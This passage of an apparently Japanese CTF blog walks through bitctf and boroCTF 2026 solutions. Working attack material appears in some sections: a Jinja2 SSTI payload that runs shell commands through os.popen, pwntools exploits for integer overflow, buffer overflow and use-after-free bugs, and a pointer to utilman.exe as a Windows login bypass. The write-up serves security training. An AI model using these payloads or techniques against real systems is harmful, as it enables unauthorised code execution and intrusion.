    ___stack_chk_fail(*(long *)PTR____stack_chk_guard_100004000 - local_18,uVar7);
  }
  return local_8c;
}

void _build_expected_phrase(long param_1)

{
  byte bVar1;
  byte bVar2;
  ulong local_20;
  
  for (local_20 = 0; local_20 < 0xc; local_20 = local_20 + 1) {
    bVar1 = (&_obfuscated_phrase)[local_20];
    bVar2 = _mask_for(local_20);
    *(byte *)(param_1 + local_20) = bVar1 ^ bVar2;
  }
  *(undefined1 *)(param_1 + 0xc) = 0;
  return;
}

char _mask_for(char param_1)

{
  return param_1 * '\x11' + '\x1b';
}

int _compute_grid_offset(long param_1)

{
  undefined8 local_18;
  undefined4 local_c;
  
  local_c = 0;
  for (local_18 = 0; *(char *)(param_1 + local_18) != '\0'; local_18 = local_18 + 1) {
    local_c = local_c + (uint)*(byte *)(param_1 + local_18) * ((int)local_18 + 3);
  }
  return local_c % 1000 + 200;
}

void _print_flag(long param_1,char param_2)

{
  int iVar1;
  ulong local_58;
  byte abStack_3a [33];
  undefined1 local_19;
  long local_18;
  
  local_18 = *(long *)PTR____stack_chk_guard_100004000;
  for (local_58 = 0; local_58 < 0x21; local_58 = local_58 + 1) {
    abStack_3a[local_58] =
         (&_encoded_flag)[local_58] ^
         (char)local_58 * '\x05' + *(char *)(param_1 + local_58 % 0xc) + param_2;
  }
  local_19 = 0;
  _puts("Docking accepted. Flag:");
  iVar1 = _puts((char *)abStack_3a);
  if (*(long *)PTR____stack_chk_guard_100004000 - local_18 == 0) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  ___stack_chk_fail(*(long *)PTR____stack_chk_guard_100004000 - local_18,iVar1);
}

                             _obfuscated_phrase                              XREF[1]:     _build_expected_phrase:1000006b8
       100000a95 7f              ??         7Fh    
       100000a96 43              ??         43h    C
       100000a97 5e              ??         5Eh    ^
       100000a98 25              ??         25h    %
       100000a99 37              ??         37h    7
       100000a9a 11              ??         11h
       100000a9b ef              ??         EFh
       100000a9c f6              ??         F6h
       100000a9d d0              ??         D0h
       100000a9e cd              ??         CDh
       100000a9f ab              ??         ABh
       100000aa0 b5              ??         B5h

                             _encoded_flag                                   XREF[1]:     _print_flag:100000838(*)  
       100000aa1 da              ??         DAh
       100000aa2 a1              ??         A1h
       100000aa3 b5              ??         B5h
       100000aa4 ad              ??         ADh
       100000aa5 a4              ??         A4h
       100000aa6 a8              ??         A8h
       100000aa7 9b              ??         9Bh
       100000aa8 a0              ??         A0h
       100000aa9 df              ??         DFh
       100000aaa 88              ??         88h
       100000aab 96              ??         96h
       100000aac df              ??         DFh
       100000aad 80              ??         80h
       100000aae 30              ??         30h    0
       100000aaf 91              ??         91h
       100000ab0 55              ??         55h    U
       100000ab1 68              ??         68h    h
       100000ab2 3a              ??         3Ah    :
       100000ab3 7f              ??         7Fh    
       100000ab4 7c              ??         7Ch    |
       100000ab5 1a              ??         1Ah
       100000ab6 58              ??         58h    X
       100000ab7 57              ??         57h    W
       100000ab8 75              ??         75h    u
       100000ab9 42              ??         42h    B
       100000aba 70              ??         70h    p
       100000abb 4c              ??         4Ch    L
       100000abc 32              ??         32h    2
       100000abd 79              ??         79h    y
       100000abe 28              ??         28h    (
       100000abf 6b              ??         6Bh    k
       100000ac0 2e              ??         2Eh    .                                         ?  ->  100001a2e
       100000ac1 1a              ??         1Ah
       100000ac2 00              ??         00h
       100000ac3 00              ??         00h

_build_expected_phraseで生成する文字列を取得すると、以下の通りとなる。

dockhandsync

さらにそれを使って、compute_grid_offsetを算出する。その結果を使って、_print_flagの処理を実行すると、フラグが得られる。

#!/usr/bin/env python3
def compute_grid_offset(s):
    c = 0
    for i in range(len(s)):
        c = c + ord(s[i]) * (i + 3)
    return c % 1000 + 200

def get_flag(enc, s, n):
    flag = ''
    for i in range(33):
        v = (enc[i] ^ i * 5 + ord(s[i % len(s)]) + n) & 0xff
        flag += chr(v)
    return flag

enc_phrase = [0x7f, 0x43, 0x5e, 0x25, 0x37, 0x11, 0xef, 0xf6, 0xd0, 0xcd,
    0xab, 0xb5]

phrase = ''
for i in range(12):
    v1 = enc_phrase[i]
    v2 = (i * 0x11 + 0x1b) & 0xff
    phrase += chr(v1 ^ v2)

print('[+] phrase:', phrase)

offset = compute_grid_offset(phrase)
print('[+] offset:', offset)

enc = [0xda, 0xa1, 0xb5, 0xad, 0xa4, 0xa8, 0x9b, 0xa0, 0xdf, 0x88, 0x96, 0xdf,
    0x80, 0x30, 0x91, 0x55, 0x68, 0x3a, 0x7f, 0x7c, 0x1a, 0x58, 0x57, 0x75,
    0x42, 0x70, 0x4c, 0x32, 0x79, 0x28, 0x6b, 0x2e, 0x1a]

flag = get_flag(enc, phrase, offset)
print('[*] flag:', flag)

実行結果は以下の通り。

[+] phrase: dockhandsync
[+] offset: 1108
[*] flag: bitctf{{0rb1t4l_d0ck1ng_r0ut1n3}}
bitctf{{0rb1t4l_d0ck1ng_r0ut1n3}}

Vault-Tec Overseer Terminal (Web Ex, Medium 50)

適当なアカウントを作成し、ログインする。「EDIT TERMINAL GREETING」を押すと、INSCRIBE GREETINGの画面になる。
ここで以下を入力し、「BURN TO HOLOTAPE」ボタンを押す。

{{7*7}}

この結果49と表示されたので、SSTIができる。

以下を入力してみる。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}

この結果以下のように表示された。

total 20
drwxr-xr-x 1 root root  4096 Jun  9 11:58 .
drwxr-xr-x 1 root root  4096 Jun 19 23:33 ..
-rw-r--r-- 1 root root 11692 Jun  9 11:57 app.py
-rw-r--r-- 1 root root    13 Jun  9 11:57 requirements.txt

以下を入力してみる。

{{request.application.__globals__.__builtins__.__import__('os').popen('cat app.py').read()}}

この結果以下のように表示された。

import os
import secrets

from flask import (
    Flask,
    make_response,
    redirect,
    render_template_string,
    request,
    url_for,
)
from markupsafe import Markup, escape
from werkzeug.security import check_password_hash, generate_password_hash

app = Flask(__name__)

# The Overseer's sealed directive lives only in the terminal's process
# environment. Vault residents are never meant to read it. Note it is NOT placed
# in Flask config, so the usual "{{ config }}" reflex is a dead end here.
os.environ.setdefault("FLAG", "bitctf{{w4r_n3v3r_ch4ng3s_0verseer_t3rm1nal_pwn3d}}")
FLAG = os.environ["FLAG"]

VAULT_ID = "101"
        :
        :

フラグが含まれていた。

bitctf{{w4r_n3v3r_ch4ng3s_0verseer_t3rm1nal_pwn3d}}

Moon Prism Packet Secrets (Forensics, Easy 50)

pcapの各パケットのデータ部を書き出す。

AEFSDATA01:Artemis: That idol selfie felt too heavy. Did you stash
BEGDATA02:the intel? Luna: Affirmative. Append the rehearsal diary
CEGDATA03:after the MOONSHINE marker. Artemis: Got it. Carve after
DEB(0DATA04:the sentinel, it's still a ZIP. Luna: Remember, the
EECODATA05:instructions live only in this capture. Delete after
FEDATA06:listening.

pngの方を見てみる。

$ binwalk luna_selfie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 640 x 360, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, default compression
4865          0x1301          JBOOT STAG header, image id: 2, timestamp 0x788DF73B, image size: 3530031198 bytes, image JBOOT checksum: 0x1DC, header JBOOT checksum: 0x4003
5416          0x1528          Zip archive data, at least v2.0 to extract, compressed size: 199, uncompressed size: 251, name: diary_entry.txt
5721          0x1659          End of Zip archive, footer length: 22

後ろにzipがくっついているので、切り出す。

$ dd bs=1 if=luna_selfie.png of=flag.zip skip=5416
327+0 records in
327+0 records out
327 bytes copied, 0.0406642 s, 8.0 kB/s
$ unzip flag.zip     
Archive:  flag.zip
  inflating: diary_entry.txt
$ cat diary_entry.txt                
Dear Luna,

I slipped the rehearsal diary behind the MOONSHINE marker in the selfie,
just like the idol manager asked. Anyone inspecting pixel data without
carving tools should only see a pretty gradient.

Flag: bitctf{{m00n_pr15m_p4yl04d}}

— Usagi
bitctf{{m00n_pr15m_p4yl04d}}

Spider-Verse Broadcast Leak (Cryptography, Medium 150)

eの値が小さく、nに比べcが非常に小さいため、Low Public-Exponent Attackができると推測できる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

e = 3
c = 16061189851687597120996926301104657943371254567888802706085341545044609833111279875378049334585413773524402884958140237544824980651257894051011430259274146027654956734324320859907221246501733764510903950738295836450198242955006792630838088633440092969580163361765729135432881536101

m, success = gmpy2.iroot(c, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

Miles::bitctf{{sp1d3r_cub3d_br0adca57}}
bitctf{{sp1d3r_cub3d_br0adca57}}

boroCTF 2026 Writeup

この大会は2026/6/13 5:00(JST)~2026/6/16 13:00(JST)に開催されました。
今回もチームで参戦。結果は9600点で831チーム中135位でした。
自分で解けた問題をWriteupとして書いておきます。

AI Slop (Misc 100)


この画像はどのAIが作ったかという問題。
画像の右下に四芒星のグリフが見える。これはGeminiの特徴に合致する。

boroCTF{gemini}

Nature's Delight (Misc 100)


問題文はこうなっている。

I found this tag stuck on the back of my shirt! My friend must have put it... but who even makes these?

flag format: boroCTF{tag_maker}

画像のバーコード番号は以下のように読める。

075720481279

「upc 075720481279」で検索すると、Poland Springs Waterのことが出てくる。

boroCTF{poland_spring}

Its a Simple Challenge Really (Misc 100)

問題文はこうなっている。

Before our recent operation, criminals took four confidential unencrypted records. 
Law yields bad results around clever kidnappers, exposing their secret identities. 
Many people leave evidence under new digital environments. 
Review some captured online records early. 
Open source intelligence needs to carefully uncover real locations. You better review all coordinates, knowing experts triumph.

flag format: boroCTF{flag}

問題文の各単語の先頭の文字を並べる。

BoroctfcurLybracketsiMpleundeRscoreOsintcurlYbracket

適当なところでスペースを入れ、すべて小文字にする。

boroctf curlybracket simple underscore osint curlybracket

これをフラグにする。

boroCTF{simple_osint}

64 is life (Misc 200)

ctf_chunksフォルダの中には数字をbase64エンコードしたファイル名で、内容は"40"が必ず含まれている。全体を見ていくと、"40"の前に1文字含まれていて、結合するとbase64文字列になると推測できる。

#!/usr/bin/env python3
from base64 import *

b64 = ''
for i in range(1, 65):
    fname = f'ctf_chunks/{b64encode(str(i).encode()).decode()}'
    with open(fname, 'r') as f:
        data = f.read()
    b64 += data.replace('40', '')

flag = b64decode(b64).decode()
print(flag)
boroCTF{s1xty_f0ur_b3auty}

File File Crocodile (Misc 200)

バイナリエディタで見ると、後半にpngの後ろにzipらしきデータが含まれている。ただし、先頭が"FC"となっているので、修正して切り出す。他にも"FC"となっている部分は"PK"だと推測できるので、修正する。
zipにはパスワードがかかっている。
問題文を見ると、こう書いてある。

Interrogating him didn't work as the only word he seemed to know was "croc".

パスワードを croc として、zipを解凍すると、flag.txtが展開されて、フラグが書いてあった。

boroCTF{n3v3r_sm1l3_4t_4_p0lygl0t_cr0c0d1l3}

Boro Hero (OSINT 100)

問題文はこうなっている。

This famous Freehold High School alum skipped his graduation and became a best-selling artist.

Flag Format: boroCTF{first_last}

「famous Freehold High School alum best-selling artist」で検索すると、以下のWikipediaが見つかる。
https://en.wikipedia.org/wiki/Bruce_Springsteen

問題に書いてある内容とも合っている。

boroCTF{bruce_springsteen}

Nature's Takeover (OSINT 100)


問題文はこうなっている。

You can't beat nature. What is this?

Example if the flag was "not the flag": boroCTF{not_the_flag}

画像検索すると、AI による概要に以下のように表示された。

  • これはオーストラリアのシドニーにある、SSエアフィールド号の残骸です。
  • 1911年に建造された貨物船で、現在は木々が生い茂り「森の船」として知られています。
  • この場所はホームブッシュ湾にある難破船の1つです。

これは SS Ayrfield であることがわかった。

boroCTF{ss_ayrfield}

Hidden Meaning (OSINT 100)

問題文はこうなっている。

I really used to love this one song, but I forgot the name.

All I remember is that it had a SUPER dark message and it came out maybe around 10-15 years ago?

Now that I think about it, I think it was something about running?

Flag format: boroCTF{song_name}

「around 10-15 years ago SUPER dark message song running」で検索すると、AI による概要に以下のように表示された。

You are most likely thinking of the massive viral hit "Pumped Up Kicks" by Foster the People, which was released in 2010 and peaked globally around 2011.
boroCTF{pumped_up_kicks}

Third Time's the Charm (OSINT 100)

問題文はこうなっている。

My friend recently found vulnerabilities that got him banned off two platforms.

What's my friend's handle?

Flag Format: boroCTF{user_name}

ChatGPTに聞いてみたところ、以下のページが紹介され、問題の内容と一致する。
https://cybernews.com/security/gitlab-bans-rogue-researcher-releasing-windows-zero-days/

脆弱性発見者の名前は以下の通り。

Nightmare-Eclipse
boroCTF{nightmare_eclipse}

Physical Access >> (OSINT 100)

問題文はこうなっている。

Help!! I forgot my password and got locked out of my Windows PC!

I need to get back in, what can I do?!

What is one of the two files I can exploit in order to get back into my PC?

Flag format: boroCTF{explorer.exe}

「Windowsログイン画面 SYSTEM 権限 コマンドプロンプト起動」で検索すると、以下のツールのことが出てくる。

utilman.exe
boroCTF{utilman.exe}

Oops... (OSINT 100)

問題文はこうなっている。

My friend (again) was telling me a story about how around two years ago, 
he may or may not have accidentally pushed a change to a file that disrupted millions 
of systems at an unprecedented scale.

What was the general name of the configuration file that he modified that broke everything?

Flag Format: boroCTF{file_name_67}

「2024 pushed a change to a file that disrupted millions of systems」で検索すると、AI による概要に以下のように表示された。

2024年7月19日、サイバーセキュリティ企業のCrowdStrikeは、Falcon Sensorソフトウェアに不具合のある
構成アップデート(チャネルファイル291)を配信しました。これにより、世界中の数百万台のMicrosoft Windowsデバイスで
論理エラーが発生し、約850万台のシステムが「ブルースクリーン」が表示され、無限再起動ループに陥りました。
バグのあるファイルがオペレーティングシステムのカーネルの奥深くに埋め込まれていたため、
デバイスごとに手動で修復する必要が生じ、世界中のインフラに歴史的な混乱を引き起こした。

さらに「2024 CrowdStrike IT障害 config file」で検索すると、AI による概要に以下のように表示された。

2024年のCrowdStrike大規模障害は、Windows端末に自動配信されたFalconセンサーの更新ファイル(チャネルファイル)
「C-00000291*.sys」にロジックエラーが含まれていたことが原因です。
このファイルがシステムカーネルによって読み込まれた際、メモリの境界外アクセスを引き起こし、
ブルースクリーン(BSoD)を多発させました。
boroCTF{channel_file_291}

The Squad (OSINT 100)

問題文はこうなっている。

What is the name of the team that organized boroCTF?

Discordに入り、主催者の一人を確認すると、SolarityPyという人がいる。
「boroCTF SolarityPy」で検索すると、以下のctftimesのページが見つかる。
https://ctftime.org/team/424457/

どうやら KyteBytes というチームに所属しているようだ。

boroCTF{KyteBytes}

Minecraftsint (OSINT 100)


問題文はこうなっている。

I was tryna hug these green guys when I noticed how beautiful this biome is. What biome am I in?

(CAREFUL ONLY 2 ATTEMPTS)

(If necessary, seperate any spaces with an underscore) Example flag: boroCTF{minecraft_plains}

ChatGPTに聞いてみたところ、以下の理由により、雪の斜面(Snowy Slopes)であるとのこと。

  • 地形は平坦なツンドラや平原ではなく、雪に覆われた山腹である。
  • そこには、岩肌がむき出しになった険しい雪山の斜面があり、現代の山岳バイオームの描写と一致する。
  • 氷の尖塔(氷柱がない)、凍った山頂(氷が足りない)、雪原(地形が山がちすぎる)のいずれにも当てはまらない。
boroCTF{snowy_slopes}

Fireman (OSINT 100)


問題文はこうなっている。

Here's a real easy OSINT to give you guys a small break.

Find the name of the man in this image. FULL name including middle initial.

Then wrap it with boroCTF{} yourself. (Replace spaces with an underscore) 
Example flag: boroCTF{forever_f_flames}

画像を拡大して、画像検索すると、以下のページが見つかった。
https://www.facebook.com/groups/410267209587130/posts/1847388779208292/

タイトルはRate my Sunsetとなっている。投稿者はPeter C Lukensである。

boroCTF{peter_c_lukens}

Go Knicks! (OSINT 100)

問題文はこうなっている。

In 1971, a man famous for casting theatrical "whammies" on opposing teams followed his favorite player 
to New York, eventually getting his hexes banned by the Knicks' front office.

Find the full birth name of the man who cast these 'whammies' (First, Middle, Last).

The Knicks played in the very first BAA (now NBA) game in 1946. 
What was the exact height (in feet and inches, format: X'Y") that guaranteed a fan free admission to that specific inaugural game?

The team's "Knickerbocker" moniker originates from a pseudonym used by Washington Irving for his 1809 book. 
What is the first name of this fictional author?

In 1947, the Knicks drafted the league's very first non-white player. What university did he attend?

Example Format: boroCTF{John_Jacob_Jingleheimer_6'9"_Rip_Rutgers}

ChatGPTに聞いてみた。

以下の記事から「呪い」をかけた男の名前は Edward Marvin Cooper。
https://www.revolt.tv/article/new-york-knicks-fun-facts-every-fan-should-know

1946年にニックスがBAA(現在のNBA)初の公式戦に出場し、そのときにファンが無料で入場できた身長については、以下のページにあるGeorge Nostrandの身長であるため、6 ft 8 in。
https://en.wikipedia.org/wiki/George_Nostrand

Knickerbocker の架空著者名については以下のページに書かれている。
https://en.wikipedia.org/wiki/A_History_of_New_York

その名前はDiedrich Knickerbocker。

1947年にリーグ初の非白人選手をドラフト指名した人はWat Misaka。その出身大学は以下のぺージによるとユタ大学。
https://ja.wikipedia.org/wiki/%E3%83%AF%E3%83%83%E3%83%84%E3%83%BB%E3%83%9F%E3%82%B5%E3%82%AB

boroCTF{Edward_Marvin_Cooper_6'8"_Diedrich_Utah}

Nutella (OSINT 200)

問題文はこうなっている。

This person didn't seem very happy when a bill was introduced making this certain nut the State Nut.

Flag format: boroCTF{Solarity_Py_peanut}

問題文をそのまま検索すると、AI による概要に以下のように表示された。

New Jersey Republican Assemblyman Brian Bergen strongly opposed a bill making the hazelnut the official state nut.
boroCTF{Brian_Bergen_hazelnut}

Geopro 1 (Geosint 100)


問題文はこうなっている。

Find the city this image was taken in.

flag format: boroCTF{city_name} (Replace any space with an underscore)

画像検索すると、以下のページが見つかる。
https://www.alamy.com/stock-image-typical-example-of-richly-decorated-indian-architecture-162916918.html?imageid=AAEA48F2-7902-481E-B664-F2D3D8386A0D&pn=2&searchId=af60bc24f0950bfc54b6766c871f765a&searchtype=0

場所は以下の通り。

Vadodara, Gujarat, India
boroCTF{vadodara}

Geopro 4 (Geosint 100)


問題文はこうなっている。

Find the streetname. :D

flag format: boroCTF{street_name}

画像検索すると、AI による概要に以下のように表示された。

この画像は、フィリピンのヌエバ・エシハ州カバナチュアンにある、Medicus Diagnostic CenterとPizza Junctionが並ぶ建物を示しています。
・画像中央にある青い建物は「Medicus Diagnostic Center」です。
・右側にある建物は「Pizza Junction」という名前の飲食店です。
・建物前には、フィリピンで一般的な交通手段である「トライシクル」が多く停車しています。

Google Mapで「Pizza Junction フィリピン」を検索すると、以下の辺りであることがわかる。
https://www.google.com/maps/place/11%C2%B034'58.6%22N+122%C2%B045'05.2%22E/@11.5829504,122.7488808,17z/data=!3m1!4b1!4m4!3m3!8m2!3d11.5829452!4d122.7514557?entry=ttu&g_ep=EgoyMDI2MDYxMC4wIKXMDSoASAFQAw%3D%3D

通りの名前は以下の通り。

Rizal Street
boroCTF{rizal_street}

Geopro 5 (Geosint 100)


問題文はこうなっている。

What country am I in?

Note: ONLY 5 GUESSES

flag format: boroCTF{country}

アラビア語と英語の二言語表記の店の看板がある。また電話番号らしき「95967008」という表記がある。
ChatGPTに聞いてみたところ、95で始まる8桁の電話番号はオマーンの携帯電話番号の一般的な形式とのこと。

boroCTF{oman}<

Geopro 3 (Geosint 200)


問題文はこうなっている。

What is the really tall building I'm looking at...

flag format: boroCTF{building_name} (Replace any space with an underscore)

画像検索すると、AI による概要に以下のように表示された。

JW Marriott Edmonton ICE Districtは、ロジャーズ・プレイスに隣接するモダンな高級ホテルです。

Google Mapで調べると、以下の場所と景色が一致する。
https://www.google.com/maps/place/JW+Marriott+Edmonton+ICE+District/@53.545742,-113.4954799,3a,75y,105.08h,90t/data=!3m7!1e1!3m5!1shOZxZb23LBzZISnwpJqSfw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D0%26panoid%3DhOZxZb23LBzZISnwpJqSfw%26yaw%3D105.07818119585338!7i16384!8i8192!4m9!3m8!1s0x53a0233956f98715:0x8e4a13536ee9f84a!5m2!4m1!1i2!8m2!3d53.54565!4d-113.49582!16s%2Fg%2F11f658mbm8?entry=ttu&g_ep=EgoyMDI2MDYxMC4wIKXMDSoASAFQAw%3D%3D

boroCTF{jw_marriott_edmonton_ice_district}

Coming Together (Pwn 100)

Ghidraでデコンパイルする。

bool main(void)

{
  uint uVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  int local_7c;
  char local_64 [12];
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("What number will you contribute?");
  fgets(local_64,0xc,stdin);
  local_7c = atoi(local_64);
  if (10000 < local_7c) {
    puts("Wow there, try not to out do my number too much.");
    local_7c = 1;
  }
  if (local_7c < 0) {
    puts("No negatives!");
    local_7c = -local_7c;
  }
  uVar1 = local_7c + 2;
  if (-1 < (int)uVar1) {
    printf("Our total is %d! Good work everyone!\n",(ulong)uVar1);
  }
  else {
    puts("Huh? That\'s not supposed to happen.");
    __stream = fopen("flag.txt","r");
    fgets(local_58,0x40,__stream);
    puts(local_58);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return -1 >= (int)uVar1;
}

local_7cはintのため、INT_MINを指定した場合、-INT_MINはINT_MINのままになる。これに2を足しても-1以下になり、フラグが表示される。

>>> -2**31
-2147483648
$ nc oq7qaruz5vsw.boroctf.com 25287
What number will you contribute?
-2147483648
No negatives!
Huh? That's not supposed to happen.
boroCTF{tw0s_c0mpl3men+_M3}
boroCTF{tw0s_c0mpl3men+_M3}

Fast Reactions (Pwn 100)

$ nc tnkemaq46125.boroctf.com 56354
Please enter 0x1b0 characters!

指定された数値の長さの文字を入力する。

#!/usr/bin/env python3
from pwn import *

p = remote('tnkemaq46125.boroctf.com', 56354)
data = p.recvline().decode().rstrip()
print(data)

count = eval(data.split()[2])
payload = 'A' * count
print(payload)
p.sendline(payload.encode())

data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to tnkemaq46125.boroctf.com on port 56354: Done
Please enter 0xd7 characters!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice job! Flag: boroCTF{Hum@n1y_im7o5s!ble}
[*] Closed connection to tnkemaq46125.boroctf.com port 56354
boroCTF{Hum@n1y_im7o5s!ble}

Next Challenge (Pwn 100)

$ nc thww9zyp6ygt.boroctf.com 19350
======================
WELCOME TO VULNBOT!!!
======================

You will need to figure out how to exploit my expert design.

help - list commands
> flag
Are you SURE you don't want to see what the Cheese option does? (y/n)
y
FINE. I guess if you insist.
boroCTF{0nLinE_C@ts*}
boroCTF{0nLinE_C@ts*}

Jin Sakai (Pwn 100)

fight_phase1ではBOFで任意の32バイトの後に0以下の値を書き込めばよい。
fight_phase2では、メニュー選択は3, 1, 2一択。
あとはsamurai_hpの初期値がINT_MAXで、指定したamountをプラスして、INT_MINになればよい。このため、ここで1を指定すれば条件を満たす。
なおアニメーションの出力があるので、出力はあまり考えず、入力する。

#!/usr/bin/env python3
from pwn import *

p = remote('w4owkcjzvv0e.boroctf.com', 53217)

p.sendline(b'A'*32 + p32(0x80000000))

p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')

p.interactive()

実行結果は以下の通り。

        :
================================================================================
 SAMURAI HP 2147483647           PHASE 2/2
================================================================================
 [BOSS] I HAVE SHED MY MORTAL SHELL. I AM THE VOID.
--------------------------------------------------------------------------------
 >>> How many drops to pour?
 > 
  *** THE BEAST SHATTERS INTO DUST. YOU ARE VICTORIOUS! *** 

  boroCTF{gh0st_0f_3xpl01t4t10n}

[*] Got EOF while reading in interactive
boroCTF{gh0st_0f_3xpl01t4t10n}

Mania (Pwn 200)

Use After Freeの脆弱性がある。
realPerson->conversateをidealConversationに差し替えることができればよい。
imaginaryFriend と realPerson はどちらも 72 bytes なので、free 後に同じ tcache chunk が再利用される。
imaginaryFriend.special_ability はオフセット40の位置から32バイト分。このため、special_ability[24:32] が realPerson.conversate に対応する。

以下の攻撃手順で実行する。

  1. メニュー3を選択し任意のfirstName、lastNameを指定
  2. メニュー4を選択
  3. メニュー1を選択
    1. 任意のtitleを指定
    2. special abilityに任意の24バイト文字列 + idealConversationのアドレスを指定
    3. ratingに"0"を指定
  4. メニュー5を選択
#!/usr/bin/env python3
from pwn import *

def menu(p, x):
    data = p.recvuntil(b'> ').decode()
    print(data + str(x))
    p.sendline(str(x).encode())

p = remote('0agn86asl3d2.boroctf.com', 44996)

elf = ELF('./chal')

idealConversation_addr = elf.symbols['idealConversation']

menu(p, 3)
data = p.recvuntil(b'firstName: ').decode()
print(data + 'A')
p.sendline(b'A')
data = p.recvuntil(b'lastName: ').decode()
print(data + 'B')
p.sendline(b'B')

menu(p, 4)

menu(p, 1)
data = p.recvuntil(b'title: ').decode()
print(data + 'C')
p.sendline(b'C')

payload = b'A' * 24 + p64(idealConversation_addr)[:7]
data = p.recvuntil(b'special ability: ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

p.recvuntil(b'rating: ')

menu(p, 5)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0agn86asl3d2.boroctf.com on port 44996: Done
[*] '/mnt/hgfs/Shared/chal'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
My conversations with my imaginary friends don't feel real anymore.
Can you help me get out of my shell?
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 3
Enter firstName: A

Enter lastName: B

Met 'A B'!
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 4
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 1
Enter title: C

Enter special ability: b'AAAAAAAAAAAAAAAAAAAAAAAA1\x17@\x00\x00\x00\x00'

Imagined 'C' with ability 'AAAAAAAAAAAAAAAAAAAAAAAA1\x17@' (rating 0.0)!
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 5
[*] Switching to interactive mode
Wow! You made a real connection!
$ ls
chal
flag.txt
run
$ cat flag.txt
boroCTF{hYp0M&nic_3xplO1taTio4}
boroCTF{hYp0M&nic_3xplO1taTio4}

Two words, One problem (Pwn 200)

constantが"boroCTF"の場合にフラグを表示させることができる。
non_constantが37バイト、constantが37バイトで並んでいる。メモリ上は任意の48バイトの後に指定して文字列でconstantを上書きできる。

$ nc 1xgu8bd1niap.boroctf.com 34069
Hey, I made a typo and now have a string that I can't change. Can you fix it for me?
[1] - Read values
[2] - Write value
> 2
What would like to write?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAboroCTF
[1] - Read values
[2] - Write value
> 1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAboroCTF boroCTF!
boroCTF{I_c@n_7ix_tH%s}
[1] - Read values
[2] - Write value
> 
boroCTF{I_c@n_7ix_tH%s}

Hidden but definitely not (Rev 100)

$ ltrace ./password_protected
printf("Give me the password (youll neve"...Give me the password (youll never find it it's just tooooo hard)
)                                                                             = 67
fgets(> hoge
"hoge\n", 128, 0x7fe8763738e0)                                                                                      = 0x7ffd8c5fd9f0
strcspn("hoge\n", "\n")                                                                                                   = 4
strlen("Rate5Stars")                                                                                                      = 10
strcmp("hoge", "Rate5StarsBecauseGreatChallenge")                                                                         = 22
puts("My disappointment is immeasurabl"...My disappointment is immeasurable.
)                                                                               = 35
+++ exited (status 0) +++

パスワードは Rate5StarsBecauseGreatChallenge らしい。

$ ./password_protected 
Give me the password (youll never find it it's just tooooo hard)
> Rate5StarsBecauseGreatChallenge
wow you really got me this time. if only i used better obfuscation techniques.
boroCTF{I_H8_M@7ing_StR1ng5_cHals}
boroCTF{I_H8_M@7ing_StR1ng5_cHals}

George Orwell (Rev 100)

$ strings big_brother
!This program cannot be run in DOS mode.
Rich\
.text
        :
        :
:*:iloveboroctf::
secret := Chr(98) . Chr(111) . Chr(114) . Chr(111) . Chr(67) . Chr(84) . Chr(70) . Chr(123)
secret := secret . Chr(65) . Chr(72) . Chr(75) . Chr(95) . Chr(49) . Chr(115) . Chr(95)
secret := secret . Chr(108) . Chr(73) . Chr(115) . Chr(43) . Chr(101) . Chr(110) . Chr(105)
secret := secret . Chr(52) . Chr(103) . Chr(125)
MsgBox, 64, System Notification, Access Granted!`n`nFlag: %secret%
return
GuiClose:
        :

secretを組み立てる。

>>> s = [98, 111, 114, 111, 67, 84, 70, 123, 65, 72, 75, 95, 49, 115, 95, 108, 73, 115, 43, 101, 110, 105, 52, 103, 125]
>>> ''.join([chr(c) for c in s])
'boroCTF{AHK_1s_lIs+eni4g}'
boroCTF{AHK_1s_lIs+eni4g}

Not Your Time (Rev 100)

Ghidraでデコンパイルする。

bool main(void)

{
  bool bVar1;
  long in_FS_OFFSET;
  int local_b0;
  uint local_a8 [28];
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_a8[0] = 0x9d;
  local_a8[1] = 0x90;
  local_a8[2] = 0x8d;
  local_a8[3] = 0x90;
  local_a8[4] = 0xbc;
  local_a8[5] = 0xab;
  local_a8[6] = 0xb9;
  local_a8[7] = 0x84;
  local_a8[8] = 0xb1;
  local_a8[9] = 0xcf;
  local_a8[10] = 0x8b;
  local_a8[0xb] = 0xa0;
  local_a8[0xc] = 0x91;
  local_a8[0xd] = 0xb0;
